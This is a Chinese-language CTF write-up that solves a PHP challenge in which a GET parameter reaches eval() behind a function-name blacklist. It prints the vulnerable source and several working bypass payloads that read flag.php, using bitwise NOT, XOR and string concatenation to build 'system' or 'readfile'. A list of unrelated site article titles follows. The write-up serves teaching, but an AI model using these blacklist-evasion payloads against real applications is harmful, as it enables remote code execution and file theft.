前几天拿到了线下赛的源码,做做看。这道主要是命令执行的黑名单绕过

先看看给出的代码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
$blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
foreach($blacklist as $i){
if(stristr($_GET[cmd], $i)!==false){
die('hack');
}
}
eval($_GET[cmd]);
?>

可以看到把内置定义的函数和一些敏感函数都加入了Blacklist,下面这道题的两种解法:

1.取反或异或绕过

已知flag在flag.php文件中,直接构造读取flag.php文件的取反Payload:

(~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));

发送请求源代码得到Flag:

同样的,构造一个异或Payload也可以读取到文件内容:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile

2.字符串拼接绕过

这个是赛事主办方给出的ppt上的解法,是通过赋值变量然后拼接字符串实现的命令执行

第一个Payload是通过拼接函数名实现的:

$a='sys'.'tem';$a("cat flag.php");

第二个Payload是通过拼接语句实现的:

$a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);

原理都是一样的,就不过多赘述了,啥也不是,散会!

最新文章

  1. Atitit 软件架构方法的进化与演进cs bs soa roa &#160;msa&#160; attilax总结
  2. python 解压 压缩包
  3. 【转】phpcms-v9中关于模型的理解
  4. 为Go Web App 创建一个主页面
  5. 第九章 springboot + mybatis + 多数据源 (AOP实现)
  6. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解
  7. 第一次配置Android环境
  8. 自己写的一个关于Linq to Entity 动态查询的例子
  9. vs2012 断点不能调试
  10. LVS + keepalived + nginx + tomcat 实现主从热备 + 负载均衡
  11. JavaScript--execCommand指令集
  12. hadoop2对比hadoop1
  13. 有向无环图(DAG)的最小路径覆盖
  14. JAVA 根据经纬度算出附近的正方形的四个角的经纬度
  15. CSS.03 -- 浏览器行高、字体;盒子模型--边框、内边距、外边距
  16. Hibernate的事务处理机制和flush方法的用法
  17. “一切都是消息”--MSF(消息服务框架)之【请求-响应】模式
  18. python_19_异常处理
  19. 让网站永久拥有HTTPS - 申请免费SSL证书并自动续期 Let’s Encrypt
  20. using Newtonsoft.Json;

热门文章

  1. GitHub 热点速览 Vol.31:在?跑个 GitHub 评分如何?
  2. 移动端与Web端疫情数据展示
  3. Java自学-图形界面 容器
  4. 2020-06-14:Redis怎么实现分布式锁?
  5. C#LeetCode刷题之#31-下一个排列(Next Permutation)
  6. C#LeetCode刷题之#20-有效的括号(Valid Parentheses)
  7. 搭建 WordPress 博客教程
  8. 如何隐藏win32 控制台程序的console窗口 2011-06-17 17:59
  9. Python-Opencv 图像处理基本操作
  10. Nordic 52840-Timer定时器学习问题(一)